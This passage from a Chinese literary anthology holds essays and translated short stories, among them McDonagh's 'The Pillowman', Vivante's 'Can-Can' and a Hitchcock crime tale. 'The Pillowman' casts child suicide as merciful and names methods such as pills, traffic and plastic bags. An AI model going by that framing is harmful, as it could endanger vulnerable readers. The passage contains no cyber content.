　　我母亲常对我们抱怨说北平的猪肉不好吃，有一股臊臭的气味。我起初不信，后来屡游江南，发现南北猪肉味是不同。大概是品称和饲料不同的关系。不知所谓臊臭，也许正是另一些人所谓的肉香。南方猪肉质嫩而味淡，却是真的。

　　北平人家里吃白肉也有季节，通常是在三伏天。猪肉煮一大锅，瘦多肥少，切成一盘盘的端上桌来。煮肉的时候如果先用绳子把大块的肉五花大绑，紧紧捆起来，煮熟之后冷却，解开绳子用利刃切片，可以切出很薄很薄的大片，肥瘦凝固而不散。肉不宜煮得过火，用筷子戳刺即可测知其熟的程度。火候要靠经验，刀法要看功夫。要横丝切，顺丝就不对了。白肉没有咸味，要蘸酱油，要多加蒜末。川菜馆于蒜酱油之外，另备辣椒酱。如果酱油或酱浇在白肉上，便不对味。

　　白肉下酒宜用高粱。吃饭时另备一盘酸菜，一盘白肉碎末，一盘腌韭菜末，一盘芫荽末，拌在饭里，浇上白肉汤，撒上一点胡椒粉，这是标准吃法。北方人吃汤讲究纯汤，鸡汤就是鸡汤，肉汤就是肉汤，不羼别的东西。那一盘酸菜很有道理，去油腻，开胃。

皱起眉头的男人

张小娴

　　你曾经为多少人多少事皱过眉头？

　　我从来没有。只怕眉头皱得多，形成了皱纹，即使用上两千元一瓶的去皱膏也无法力挽狂澜。

　　但我希望有一个时常为我皱眉头的男人。

　　他因为我这个人太麻烦、太蛮横、太任性、太不讲理，又莫奈我何而时常皱眉。终于不单眉头出现两条弯弯的小皱纹，连额头都开始有皱纹了。

　　当他为皱纹苦恼，我告诉他，他的皱纹比别的男人好看。然后请他继续为我皱眉头。

　　因为关心和爱，我们才会忘记会有皱纹啊！

　　而且，经历风霜的男人最好看。

　　几条皱纹，散乱的白发，证实他为理想和事业付出过。

　　忙于奋斗的男人，哪有时间兼顾外表？

　　最怕那些只顾外表，讨异性欢心的男人。他们天天上健美院与岁月争雄，肩膀和胸肌练得象一只横放的皮箱。臀部练得扁平，与背部可以划成一条直线，即使沙滩躺上一天，他不会出现一个凹位。

　　他们不卖风霜，他们卖风情。

　　但男人为他所热衷的事业，他所爱的女人，专注地紧皱眉头的那一刻，才是最好看的。

肯肯舞

阿图洛 · 维万特

　　“我开车出去兜兜风，”他对他妻子说：“一两个钟头左右回来。”

　　除了花几分钟去邮局或小铺子，他不常出门，总是呆在家里，作些杂事——他妻子叫他作修理先生——此外，虽然很少作，偶尔他也漆房子，他靠这个赚钱。

　　“好呵。”

　　他妻子很快意地说，好像他倒帮了她个忙。其实，她并不真愿意他离开；有他在家她感到安全，而且也能帮她照顾孩子们，特别是那个小的。

　　“把我赶开你挺高兴的，是吧？”他说。

　　“是呵。”

　　她说着笑了一下，这突然使她看起来很美——一个令人想念的人。她没有问他开车去哪儿兜兜风。她绝不是个多问的女人，虽然她会默默地、不露声色地吃醋。他穿上外衣时，眼睛看着她。她跟他们的大女儿在客厅里。

　　“跳个肯肯舞嘛，妈妈。”

　　孩子说，她就掀起了裙子跳起了肯肯，朝着他把大腿踢得高高地。他并不是像他所说的开车去兜风，他是去一家小餐馆跟莎拉约会，他妻子认识莎拉却没怀疑过，他要跟莎拉去湖边一所他妻子全无所知的房子，一间避暑的木屋，他有那儿的钥匙。

　　“好。再见了。”他说。

　　“拜。”她冲他喊了一声，还在跳舞呢。

　　他把她丢在家里去跟另一个女人幽会，她却是这样的表现，他想，作丈夫的怎么说也不会认为妻子应该是如此的。他认为她该在家缝、洗衣服，而不是跳肯肯的，真是天晓得。是的，该作些没意思又不可人的事，譬如补补孩子们的衣服。她没穿丝袜，没有，也没穿鞋，她的腿看起来很白也很滑润，很神秘的，就好像是他从也没摸过或是接近过。她的脚，在空中上下摆动，好像在向他点头。她把裙子高高地摺成一圈，挺撩人的。她干嘛非在现在这个时候这么做？他多呆了会儿。她的眼神透着嘲弄，她还在放声地笑。孩子看着她跳，也跟着她笑。他走出家门的时候，她还在跳。他想到为了安排这种幽会得经过的一切困难——出去打公用电话；打电话到莎拉的办公室（她也是结了婚的）；她不在；他得再打给她；电话在哗哗地忙着；硬币掉入收币缝里；推开硬币掉下的小门想把钱取回来；终于接通了她；她叫他下星期再打来，最后总算定了个幽会的日子。在小餐馆等她的时候，他自己也难以想像居然希望她不会来。两人约好三点钟见面，此刻已经三点十分，反正她经常都晚到的。他看了看壁上的钟，并自大玻璃窗寻着她的车。有部车像她的，却不是她的——车顶上没有行李架。那辆柔滑的硬顶跑车给他一股特殊的快意。这又为什么？已经三点一刻了。或许她不会来了。不，果若她真的要来，这正是她最可能到达的时刻。过了廿分钟了。呵，这可有了些希望了。希望？多么奇怪，他竟然盼望她不会来。既然盼望她会失约，干嘛要定这个约会？他不知道这是为了什么，只是简单些，如果她不来一切就简单多了。因为他此刻所想的只是把那根烟抽完，把那杯咖啡喝掉，不是为了打发时间，纯粹是要抽烟、喝咖啡。他希望能像他所说的，逍遥自在地去开会儿车兜风。然而他仍在等，在三点半的时候，她来到了。

　　“我差一点就要放弃希望了。”

　　他说。他们开车去到湖边的那间房子。他将她拥入怀中时，无法想到她；拼了命也没法子。

　　“你在想什么？”事后她问道，感觉出来他的心不在焉。他没有回答，片刻之后才说：“你真的想知道我在想什么吗？”

　　“是呀。”

　　她带点急迫地说。他抑住了自己的笑声，好像他要告诉她的实在太荒谬或是傻气了。

　　“我在想有个人跳肯肯舞的样子。”

　　“喔，”她心放宽了地说：“一时我还怕你是在想你太太呢。”

活出爱

史铁生

　　我曾经写过：人与猪的自然差别是一个定数，人与人的心理差别却无穷大。所以，人与人的交往多半肤浅。或者说，只有在比较肤浅的层面上，交往是容易的。一旦走向复杂，人与人就是相互的迷宫。这大概又是人的根本处境。

　　我常常感到这样的矛盾：睁开白天的眼睛，看很多人很多事都可憎恶；睁开夜的眼睛，才发现其实人人都在苦弱地挣扎，惟当互爱。当然，白天的眼睛并非多余，我是说，夜的眼睛是多么重要。

　　人们就象在呆板的实际生活中渴望虚构的艺术那样，在这无奈的现实中梦想一片净土、一段完美的时间。这就是宗教精神吧。在这样的境界中，在沉思默想着向着神皈依的时间里，尘世的一切标准才被扫荡，于是看见众生都是苦弱的，歧视与隔离惟使这苦弱加重。那一刻，人摆脱了尘世附加的一切高低贵贱，重新成为赤裸的亚当、夏娃。生命中必须有这样一段时间、一块净土，尽管它常会被嘲笑为“不现实”。但“不现实”未必不是一种好品质。比如艺术，我想应该是脱离实际的。模仿实际不会有好艺术，好的艺术都难免是实际之外的追寻。

　　当然，在强大的现实面前，这理想只能是一出非现实的戏剧，不管人们多么渴望它，为它感动，为它流泪，为它呼唤，人们仍要回到现实中去，并且不可能消灭这惩罚之地的规则。

　　我可能是幸运的。我知道满意的爱情并不很多，需要种种机遇。我只是想，不应该因为现实的不满意就迁怒于那的梦想，说它本来没有。人若无梦，夜的眼睛就要瞎了。说“没有爱情”，是因为必求其现实，而不大看重爱情更是需要信奉的。不单爱情如此，一切需要信奉的东西都是这样，美满了还有什么好说的？不美满，才是需要智慧和信念的时候。

　　上帝把一个危险性最小的机会给了恋人，期待他们“打开窗户”。上帝大约是在暗示：如果这样你们还不能相互敞开心扉，你们就毫无希望了；如果这样你们还相互隔离或防范，你们就只配受永恒的惩罚。所以爱情本身也具有理想意义。艺术又何尝不是如此？它不因现实的强大而放弃热情，相反却乐此不疲地点燃梦想。

　　我越来越相信，人生是苦海，是惩罚，是原罪。对惩罚之地的最恰当的态度，是把它看成锤炼之地。既是锤炼之地，便有一种猜想——灵魂曾经不在这里，灵魂也不止于这里，我们是途径这里！宇宙的信息被分割进肉体，成为一个个有限或残缺，从而体会爱的必要。

老猴赫尼

沈石溪

　　当心被束缚久了，即使肢体自由也没了生活的方向。赫尼是耍猴人岩鸣豢养的一只猴子。据岩鸣说，赫尼是只极其聪明的猴子，一个新节目，只要教上三五遍就会做了，一般的猴子要三五十遍才教得会。但赫尼野性太重，无时无刻不在思量着逃跑。

　　岩鸣像所有的耍猴人一样，用饥饿、鞭答、戴脚镣等手段，企图磨灭赫尼叛逃的野性，可什么方法都用尽了，效果却微乎其微。没办法，只好把那根细铁链永远地拴在了它的脖子上。

　　我到曼广弄寨插队的第四年，岩鸣因为长年累月风里来雨里去的，患了严重的关节炎，行走困难，年纪也大了，不能再外出耍猴了。他本想把赫尼卖了，但赫尼也老了，脾气又倔强，动不动就想逃跑，问了几个耍猴人，没人肯要。于是，岩鸣就请我帮他把赫尼带到孟巴纳西森林里去放生。

　　我牵着赫尼，走了大半天，来到一个名叫野猴岭的地方。那儿树林密得就像篱笆墙，钻也钻不通。岩鸣曾告诉过我，二十年前他就是在这里用捕兽天网将赫尼捉住的，那时赫尼才是一只不满一岁的小猴。二十年过去了，小猴赫尼变成了老猴赫尼，没想到，它还认识这块土地。一踏进野猴岭，它就两眼放光，嘴里呜呜呀呀不停地叫唤，显得十分激动。我好不容易解开了那条在它脖子上拴了二十年的细铁链，它嗖地爬上旁边一棵大树，快到树梢时，回过头来冲着我龇牙咧嘴地嚣叫一声——准确地说是冲着我手中那根象征着人类统治权的明晃晃的铁链粗暴地叫嚣一声，连奔带跳地钻进树冠不见了。

　　我以为，这辈子我再也见不到它了。做梦也没想到，第三天早晨，我刚走到寨外那条宽敞的马车路上，突然，一棵槟榔树上跳下一只猴子来，拦住了我的去路。我低头一看，简直不敢相信自己的眼睛，竟然是赫尼！才分别两天，赫尼看上去像老了两岁，邋遢肮脏，落魄潦倒，活像个猴中乞丐。

　　这时，马车路上又陆续过来十几个荷锄挑担准备下田劳作的村民，他们都知道赫尼的身世，对赫尼的归来感到很惊讶，于是围成一圈看稀罕。

　　赫尼突然前爪撑地身体倒立，沿着人圈绕了一周，接着，它爬上挺拔的槟榔树，两条后腿勾住树干，哧溜从树梢快速滑下地来，又从一位看热闹的姑娘手中抢过一只空箩筐，在场子里蹒跚推行。哦，它这是在耍猴戏呢！表演完倒立行走、攀爬高杆和推小车等节目后，赫尼翻着手掌，作出一副乞讨状，不断地向围观的人群磕头作揖。一位大嫂丢给它一只包谷，它狼吞虎咽地啃起来。

　　不知是谁将老猴赫尼回来的消息告诉了岩鸣，老人拄着拐棍提着那条明晃晃的细铁链颤巍巍地从寨子走来，挤开人群，来到赫尼面前，噙着泪花说：“我晓得我的老赫尼是舍不得离开我的，唔，回来就好，赶明儿，我病好了，我们再一起去闯码头。”我十分注意老猴赫尼的反应，它并没有因为看见老主人而产生激动欣喜的表情，它那张皱褶纵横的脸上没有任何变化，眼光呆滞，麻木不仁。

　　当它的视线移到岩鸣手中提着的那根细铁链时，目光才像火焰似的跳了一下。它缓慢地爬到岩鸣身边，抓起铁链，用混杂着讨厌与欢欣、恐惧与喜爱的十分复杂的眼光久久地凝视着那根拴了它整整二十年的铁链子。突然，它仰天发出一声灵魂撕裂般的嚎叫，闭起眼，将铁链子缠绕在自己的脖子上。

　　它一次又一次地逃跑，一辈子都在努力解脱锁在它脖子上的铁链，为此，它遭叱骂挨鞭答受尽折磨，可将它脖子上的铁链摘除了，仅仅三天，它却主动把铁链又缠在了自己的脖子上。

枕头人

马丁 · 麦克多纳

　　从前，有一个人，长得跟正常人不一样。他有九尺高，全身上下是松软的粉红色枕头：他的胳膊是枕头，他的腿是枕头，他的身体也是一个枕头；他的手指头是细细的小枕头，甚至他的头也是一个枕头，一个圆形的大枕头。头上有两只纽扣眼睛，还有一张微笑的大嘴一直在微笑。所以你总能看到他的牙齿，他的牙齿也是枕头，小小的白枕头。

　　枕头人必须这个样子，他得让人感到温和与安全，因为这是他的工作。因为他的工作是很悲伤、很艰难的。

　　每当一个男人或女人由于生活极其苦难而非常非常悲哀时，他们只想了断这生活，他们只想了断他们的生命，了断他们的痛苦，正当他们自杀时，用剃刀、用子弹、用煤气或跳下高楼，枕头人会来到他们身边，坐在他们身旁，轻轻地揽着他们。他会说，“等一等”。

　　时间会奇怪地慢下来，当时间慢下来的这会儿，枕头人会回到那男子或那女子的童年时代，回到他们可怕的生活还不曾开始的时候。枕头人的工作是非常非常悲哀的，因为他的职责就是让孩子们自杀，以避免他们日后在经历了苦痛的岁月之后再走同样的路：对着煤灶、对着枪口、对着湖水。

　　“可我从没听说过年幼的孩子会自杀。”你会这样说。而枕头人总是建议孩子们把自己弄得像是不幸的事故：他会指给他们那种像装了糖豆一样的药瓶；他会告诉他们从两辆车之间突然窜出是多么危险；他会提醒他们怎样扎紧没有透气孔的塑胶口袋。因为对妈妈和爸爸的情感来说，五岁的孩子死于不幸的事故总要好过五岁的孩子为了逃避痛苦的生活而自杀。

　　不过，并非所有的孩子都喜欢枕头人。有一个快乐的小女孩，就不相信枕头人。当枕头人告诉她生活的阴暗以及她面临的苦难时，她赶走了他，枕头人哭着走了，他滴下了一滴滴那么大的泪珠，积了一大滩水。

　　第二天夜里又有人敲那女孩卧室的门，女孩说，“你滚开，枕头人，我告诉你了，我很快乐。我一直很快乐，我会永远快乐。”但这次不是枕头人。是另一个男人。女孩妈妈不在家，这个男人每当她妈妈不在家时就钻进她的卧室，不久，她变得很痛苦很痛苦。

　　当她二十一岁坐在煤灶前时，她对枕头人说，“你为什么不想法子劝说我？”枕头人说，“我想尽了办法劝说你，可你那时实在是太快乐了。”当她把煤气阀开到最大时，她说，“可我一直不快乐。我一直不快乐。”

　　当枕头人成功时，一个孩子就悲惨地死去。而当枕头人失败时，一个孩子就活在苦难中，长大成人后依然过着痛苦的日子，然后悲惨地死去。枕头人，那么高大，那么松软，只能整天转来转去地痛苦，他的屋子里积满了一滩滩泪水，于是，他决定再做最后一次，就不做了。他去了一条清澈的小河边，随身带了一小罐汽油。

　　小河边有棵大垂柳，他坐在垂柳下，坐着等了一会儿。树下堆着所有的的小玩具，有一辆小汽车、一只小玩具狗，还有一个万花筒。附近停着一辆小小的大篷车，枕头人听到开门声和脚步声，接着听到一个男孩说，“妈妈，我去外面玩一会儿。”妈妈说，“好的，儿子，别忘了回来吃点心。”“我不会忘的，妈妈。”

　　枕头人听到那孩子的脚步声越来越近，大垂柳树下站着的不是一个小男孩，而是个枕头孩。枕头孩对枕头人说“你好”，枕头人对枕头孩说“你好”，他们俩玩了一阵玩具。

　　枕头人告诉枕头孩他的痛苦的工作和死去的孩子以及所有的那些事，小枕头孩一听就领会了，因为他是那么快乐的一个孩子，而且他一心一意想帮助别人，他把那罐汽油洒满了全身，他那微笑的嘴微笑着。

　　枕头人含着那大颗的泪珠对枕头孩说，“谢谢你”。枕头孩说，“不要紧，你告诉我妈我不能去吃晚上的点心了。”枕头人撒谎说，“好，我会的。”

　　枕头孩划着了火柴，枕头人坐在那儿看着他自焚，当枕头人正要隐去时，他最后一眼看到的是枕头孩那张微笑的嘴渐渐变为灰烬，只剩下虚空。这是他看到的最后一眼。而他最后听到的是他从未想到过的声音。他最后听到的是那数千个孩子的惨叫声，他们本在他帮助下自杀了，却又活了过来，而不得不忍受他们命中注定的冷酷、黑暗的生活。由于他无法再去帮助他们避免这种苦难，他们当然只能完全独自地自我虐杀，所以他们在悲苦地号叫着。

　　于是枕头人消失了，就像他从来没有存在过。

紫色人形

毕淑敏

　　那时我在乡下医院当化验员。一天到仓库去，想领一块新油布。

　　管仓库的老大妈，把犄角旮旯翻了个底朝天，然后对我说，你要的那种油布多年没人用了，库里已无存货。

　　我失望地往外走着，突然在旧物品当中，发现了一块油布。它折叠得四四方方，从翘起的边缘处，可以看到一角豆青色的布面。

　　我惊喜地说，这块油布正合适，就给我吧。

　　老大妈毫不迟疑地说，那可不行。

　　我说，是不是有人在我之前就预订了它？

　　她好像陷入了回忆，有些恍惚地说，那倒也不是……我没想到你把它给翻出来了……当时我把它刷了，很难刷净……

　　我打断她的话，就是有人用过也不要紧，反正我是用它铺工作台，只要油布没有窟窿就行。

　　她说，小姑娘你不要急，要是你听完了我给你讲的关于这块油布的故事，你还要用它去铺桌子，我就把它送给你——

　　我那时和你现在的年纪差不多，在病房当护士，人人都夸我态度好技术高。有一天，来了两个重度烧伤的病人，一男一女，后来才知道他们是一对恋人，准确地说是新婚夫妇。他们相好了许多年，吃了很多苦，好不容易才盼到大喜的日子。没想到婚礼的当夜，一个恶人点燃了他家的房檐。火光熊熊啊，把他们俩都烧得像焦炭一样。我被派去护理他们。一间病房，两张病床，这边躺着男人，那边躺着女人。他们浑身漆黑，大量地渗液，好像血都被火焰烤成了水。医生只好将他们全身赤裸，抹上厚厚的紫草油，这是当时我们这儿治疗烧伤最好的办法。可体液还是不断地外渗，刚换上的床单几分钟就湿透。搬动他们焦黑的身子换床单，病人太痛苦了。医生不得不决定铺上油布。我不断地用棉花把油布上的紫色汁液吸走，尽量保持他们身下干燥。别的护士说，你可真倒霉，护理这样的病人，吃苦受累还是小事，他们在深夜呻吟起来，像从烟囱中发出哭泣，多恐怖！

　　我说，他们紫黑色的身体，我已经看惯了，再说，他们从不呻吟。

　　别人惊讶地说，这么危重的病情不呻吟，一定是他们的声带烧煳了。

　　我气愤地反驳说，他们的声带仿佛被上帝吻过，一点都没有灼伤。

　　别人不服，说既然不呻吟，你怎么知道他们的嗓子没伤？

　　我说，他们唱歌啊！在夜深人静的时候，他们会给对方唱我们听不懂的歌。

　　有一天半夜，男人的身体渗液特别多，都快漂浮起来了。我给他换了一块新的油布，喏，就是你刚才看到的这块。无论我多么轻柔，他还是发出了一声低沉的呻吟。换完油布后，男人不做声了。女人叹息着问，他是不是昏过去了？我说，是的。女人也呻吟了一声说，我们的脖子硬得像水泥管，转不了头，虽然床离得这么近，我也看不见他什么时候睡着什么时候醒，为了怕对方难过，我们从不呻吟。现在，他呻吟了，说明我们就要死了。我很感谢您，我没有别的要求，只请你把我抱到他的床上，我要和他在一起。

　　女人的声音真是极其好听，好像在天上吹响的笛子。

　　我说，不行。病床那么窄，哪能睡下两个人？她微笑着说，我们都烧焦了，占不了那么大的地方。我轻轻地托起紫色的女人，她轻得像一片灰烬……

　　老大妈说，我的故事讲完了，你要看看这块油布吗？

　　我小心翼翼地揭开油布，仿佛鉴赏一枚巨大的纪念邮票。由于年代久远，布面微微有些粘连，但我还是完整地摊开了它。

　　在那块洁净的豆青色油布中央，有两个紧紧偎依在一起的淡紫色人形。

记住回家的路

周国平

　　生活在今日的世界上，心灵的宁静不易得。这个世界既充满着机会，也充满着压力。机会诱惑人去尝试，压力逼迫人去奋斗，都使人静不下心来。我不主张年轻人拒绝任何机会，逃避一切压力，以闭关自守的姿态面对世界。年轻的心灵本不该静如止水，波澜不起。世界是属于年轻人的，趁着年轻到广阔的世界上去闯荡一番，原是人生必要的经历。所须防止的只是，把自己完全交给了机会和压力去支配，在世界上风风火火或浑浑噩噩，迷失了回家的路途。

　　每到一个陌生的城市，我的习惯是随便走走，好奇心驱使我去探寻这里的热闹的街巷和冷僻的角落。在这途中，难免暂时地迷路，但心中一定要有把握，自信能记起回住处的路线，否则便会感觉不踏实。我想，人生也是如此。你不妨在世界上闯荡，去建功创业，去探险猎奇，去觅情求爱，可是，你一定不要忘记了回家的路。这个家，就是你的自我，你自己的心灵世界。

　　寻求心灵的宁静，前提是首先要有一个心灵。在理论上，人人都有一个心灵，但事实上却不尽然。有一些人，他们永远被外界的力量左右着，永远生活在喧闹的外部世界里，未尝有真正的内心生活。对于这样的人，心灵的宁静就无从谈起。一个人惟有关注心灵，才会因为心灵被扰乱而不安，才会有寻求心灵的宁静之需要。所以，具有过内心生活的禀赋，或者养成这样的习惯，这是最重要的。有此禀赋或习惯的人都知道，其实内心生活与外部生活并非互相排斥的，同一个人完全可能在两方面都十分丰富。区别在于，注重内心生活的人善于把外部生活的收获变成心灵的财富，缺乏此种禀赋或习惯的人则往往会迷失在外部生活中，人整个儿是散的。自我是一个中心点，一个人有了坚实的自我，他在这个世界上便有了精神的坐标，无论走多远都能够找到回家的路。换一个比方，我们不妨说，一个有着坚实的自我的人便仿佛有了一个精神的密友，他无论走到哪里都带着这个密友，这个密友将忠实地分享他的一切遭遇，倾听他的一切心语。

　　如果一个人有自己的心灵追求，又在世界上闯荡了一番，有了相当的人生阅历，那么，他就会逐渐认识到自己在这个世界上的位置。世界无限广阔，诱惑永无止境，然而，属于每一个人的现实可能性终究是有限的。你不妨对一切可能性保持着开放的心态，因为那是人生魅力的源泉，但同时你也要早一些在世界之海上抛下自己的锚，找到最适合自己的领域。一个人不论伟大还是平凡，只要他顺应自己的天性，找到了自己真正喜欢做的事，并且一心把自己喜欢做的事做得尽善尽美，他在这世界上就有了牢不可破的家园。于是，他不但会有足够的勇气去承受外界的压力，而且会有足够的清醒来面对形形色色的机会的诱惑。我们当然没有理由怀疑，这样的一个人必能获得生活的充实和心灵的宁静。

借刀杀人

希区柯克

　　我们来到路卡前时，已经快半夜了。大雨下个不停，在卡车车灯照射之下，像玻璃纸一样发亮。

　　警察把路卡设在离急转弯大约五十码的地方，所以你在远处看不见，只有绕过这个转弯后才能看见它。两辆警车成 V 形朝北停着，整队和我们，还有两辆在二十码外，成 V 形朝南停着。四辆警车都开着车灯，在潮湿、黑暗的夜空下，车灯像探照灯一样互相交叉着。在四辆警车中央，放置着两个巨大的木制临时路障，上面的红灯一闪一闪的。

　　我轻轻的一踩刹车，我们的卡车慢了下来。那孩子从座位上探过身，恶狠狠的用猎刀顶住我的肋骨，低声说：“听着！你要是敢乱说一句话，我就宰了你！他们会抓住我，但我会先捅死你！”

　　我扭头瞥了他一眼，在路卡昏暗的灯光下，他脸色苍白，腮帮和下巴上胡子拉碴的，有三四天没刮了；实际上，他并不是一个孩子，但给人的印象却像个孩子。他长得高大、瘦削，一绺黑发垂在前额，上身穿这一件皮夹克，下面是一条沾满泥巴的粗布斜纹裤子，脚下蹬着一双高统靴，看来像是从货车上跳下来的。

　　十五分钟前，在距 BC 镇四英里的地方，他劫持了我。大雨已经持续了三天，路面非常糟糕，有一段三百码的路段，积水达二三英尺深，我不得不放慢车速，缓缓通过。就在这时，卡车乘客座位那边的门猛地被拉开，这孩子跳上车，右手握着猎刀，喝令我不许声张，继续开车。

　　我别无选择，只能继续以四十公里的时速慢慢穿越那段积水区，我在心里揣摩，这孩子为什么要劫持我和卡车呢？他犯了什么罪？他是从哪里逃来的？他眼中的神情很古怪，我可不想惹他用猎刀捅我。

　　现在，我把卡车停在离警车十码的地方，右边有一小片空地，你可以在检查完后倒车，但是，一位穿黑雨衣的警察正站在那里，我认为他手里正端着枪，不禁紧张的呼吸都困难了。

　　一辆警车的前门开了，两位穿这同样雨衣的警察下了车，朝卡车走来。一个走到车灯光线之外，站在黑暗中监视着我们，另一个圆脸的走到我的车窗前，手里拿着一个小手电筒。

　　我摇下车窗玻璃，他打开手电照着车厢，我在灯光下眯起眼睛，装出一副迷惑不解的样子。

　　“警官，出什么事了？”声音很不自然。

　　“你们去哪儿？”他很严肃的问。

　　“去桑诺。”我说。

　　“这么晚了，到那儿干嘛？”

　　“我去接我太太，她的火车半夜才到，她妈妈上星期病了，她去照顾她妈妈去了。”

　　他点点头：“你叫什么名字？”

　　“迈克。”

　　“带驾驶执照了吗？”

　　“当然带了。”我说。我从屁股口袋里掏出皮夹打开，高高举起。他用手电照了一下，点点头，然后把手电光照在那孩子身上，那孩子紧张的抿着嘴，把刀藏在右腿和车门之间看不见的地方。

　　警察问：“这是谁？”

　　“我侄子杰里。”我立刻回答。

　　“他也住在格兰吉路吗？”

　　“和我们住在一起。”

　　“格兰吉在 BC 镇的郊区，是吗？”

　　“是的。”

　　“你们今晚出发后，又没有碰到什么人？”

　　“你是指什么呢？”

　　“有没有看见人在路上游荡或者是要搭便车的？”

　　我吸了口气，“没看见。”我对他说。这时，我脑子里产生了一个念头，但一想到它，我就浑身冒汗。虽然这样，我还是准备试试，我不停地想起那孩子手中的刀。

　　我的左手本来是在我的肚子上的，现在我开始慢慢地向车门把移去，每次一寸。我努力装出很平静的样子，问：“警官，为什么要设路卡？发生什么事了？”

　　“大约三小时前，有人在 BC 镇抢劫，”警察回答说，“抢劫了一位从芝加哥来的钻石推销员，抢走了价值两万元以上、未切割的钻石。那个抢劫犯一定知道推销员的行程，或者可能从芝加哥就一直跟踪他。”

　　“你知道那个抢劫犯是谁么？”

　　“还不知道，”警察说，“但我们知道是一个男人，单独一人，开着一辆偷来的车，那车停在推销员住的旅馆后面，他用一根灌铅的棍子击倒推销员，但活儿干的不利落，推销员苏醒过来，开始大叫，叫声引来旅馆的经理和几位旅客，歹徒从后门逃走了，没人看清他，连推销员本人都没看清。”

　　现在我的小指已经摸到门把手了，我得让警察继续说话。“嗯，如果这位强盗开的是偷来的汽车，那你们为什么要拦住我们这种普通的车辆呢？”

　　“他不开那辆车了，”警察说，“他逃离旅馆二十分钟后，我们发现汽车被扔在一片树丛中；那里没有房屋，什么也没有，所以我们知道他至少要徒步走一会儿。但他可能再偷一辆车，或者假装搭车而劫车。”

　　“天哪！”我轻轻地呼了一口气，但是我可以感到我的肌肉紧张地抽紧了，我整个左手都落在那个门把上，我的手指紧紧地扣住它。我只要向下按就行了，但是，我不知道那孩子的刀有多快，我意识到，在我和警察谈话时，他一直紧盯着我。

　　“叔叔我们该走了，”那孩子突然开口道，他的声音充满了紧张不安。“我是说，如果警察先生放行的话，我们得去接婶婶——”

　　他没有说完，因为他说话时，视线从我身上移到警察那里，看看警察对他说话的反应，我需要的正是这一空挡。我按下门把，使尽全身力量冲下去。门猛地向外打开，把警察撞倒在雨地上。我左肩着地，顺势在地上打了几个滚，嘴里大声喊道：“就是他！他就是你们要找的人！他拿刀上了我的车！就是他！”

　　我滚离路面，翻滚过路基，停了下来，转回头看那卡车。那小孩正从车门出来，手里握着猎刀，那个圆脸警察侧身躺在路上，伸手从雨衣里往外掏枪，同时另一只手打开手电筒。接着，又有两个手电筒亮了起来，警车的门也猛地打开，人们在大雨中奔跑、大叫。

　　那孩子终于跳了出来，站在卡车旁边，恶狠狠的四处张望，手里挥舞着猎刀。圆脸警察开了两枪，另一个警察开了第三枪，那孩子到下，不动了。

　　我深深地吸了一口气，慢慢站起身，警察们围在那孩子身边，低头看着他，我也走过去，站到那个圆脸警察身旁。我用颤抖的声音说：“我在几里外的积水区慢慢开车时，他冲上我的汽车，拿刀对着我，不许我声张，他的眼神非常古怪。”

　　圆脸警察严肃的点点头。“迈克先生，你刚才很勇敢，”他一手搭在我肩膀上，“他很容易伤害到你。”

　　“从他的眼神看出，他过一会儿就会动手的，”我说。“我觉得，最好还是在这里冒险拼一下。”

　　一位警察跪在那孩子身边搜索。“什么也没有，连皮夹也是没有，口袋里干干净净的，更不用说钻石了。”

　　圆脸警察说：“吉尔，到卡车上瞧瞧，”然后他问我：“他跳上车时，有没有带什么东西？”

　　“没有。”

　　叫吉尔的那个警察用手电筒照照卡车，然后摇着头回来了。圆脸警察问我：“你记得他劫持你的确切地点么？”

　　“当然记得。”我说。我告诉了他那位置。

　　“那么，他一定是把钻石放到那里的某个地方了，雨小点后，我们派人去搜索一下。”

　　他们从一辆警车上拿来一条毛毯，盖住那孩子，然后用无线对讲机通知 BC 镇的警察局，说他们已经抓到抢劫钻石的人，要他们派辆救护车来。

　　圆脸警察和我上了他的巡逻车，他录了一份我的口供，我签了字后，说：“我可以现在去桑诺么？我太太一定已经等急了。另外，我也需要一杯酒，镇定一下。”

　　“当然可以，”他说，“我们需要你的话，会跟你联系的。”

　　我想他道别，上了卡车，慢慢转过路卡。然后驶入大雨滂沱的黑夜中。过了五里路后，我的护膝才渐渐正常，不那么紧张了。

　　我仍然不敢相信自己就这么逃脱了。

　　首先，我打那个推销员打得不够狠，他醒来后尖叫。其次，那辆该死的轿车出了问题，我不得不扔掉它。最后，我来到一家农舍，绑住那位真正的迈克，塞住他的嘴，偷走他的皮夹和卡车，接着，半路杀出那个傻小子。

　　我不知道他是怎么回事，但现在这已经无关紧要了。我确信不疑的是，他迟早会向我动刀子的，所以我才要借刀杀人，在路卡边冒险，正如我向那个圆脸警察所说得那样，最好在那里冒险拼一下。

　　价值两万元的钻石就系在我的腰间……

幸福的生日

黑井千次

　　“看，有人给你送礼物来了。”走出房门来迎接他的妻子，在说“你回来啦”之前，突然对丈夫这么说。弯腰脱鞋的丈夫发现鞋箱上放着一盆花。

　　“噢，这花很漂亮。好像是洋兰。哪里来的？”

　　丈夫回答道，心里却突然涌起一种不祥之感。

　　“不知道。我出去买东西时，花店送来的。我不在，所以寄放在邻居家里了。”

　　他避开妻子的目光，仔细端详这盆花。细竹支撑着的修长纤弱的茎上开着三朵淡紫色的花。在另一棵茎的顶端，有两个胖乎乎的暗紫色的花蕾。几片干燥厚重的叶子耷拉在盆边上，整棵花赤裸裸地挺立着，上面好像只有花和蕾。

　　“上面还附着一张卡片。”

　　妻子说着，拿出一张卡片。上面写着：祝贺你的生日。现在我仍然爱你。

　　为了不叫妻子发现他脸色的变化，他弯腰面对着鞋。

　　“这是谁送来的呢？”

　　“……哎呀，我也想不起来。”

　　“这就怪了。”

　　妻子扔下蹲在那里不起来的丈夫，咚咚咚向厨房走去。

　　这个混蛋！丈夫心里骂道，我的苦衷她一点也不理解。一股怒火在他的心里燃烧。

　　妻子打开了一瓶莆萄酒，为他祝贺生日。但飞来的那盆花，却使这个夜晚罩上了一层阴影。伺候孩子睡觉后，两个人在起居室里相对而坐，丈夫总是躲开妻子的目光。

　　“这样干坐着实在无聊。你好好想想，就一点想不起来？”

　　妻子还是穷追不舍。在妻子没完没了的追问下，他哼哼唧唧地说，也许是过去的女友心血来潮送来的生日礼物吧。

　　“什么样的女朋友，我怎么没听你说过？”

　　妻子突然板起脸来。

　　“你别急，不是你所想象的那种关系。”

　　“你知道我是怎样想的？”

　　看见妻子的眼睛里一下子涌满了泪，丈夫狼狈不堪，手足无措。这下子糟了，我不应该瞒着她。都是那花引起的麻烦，我马上把它扔了。当他满腹懊恼地站起来时，泪流满面的妻子轻轻地说：

　　“我不是开玩笑，你，已经不认识我的字了……”

给我未来的孩子

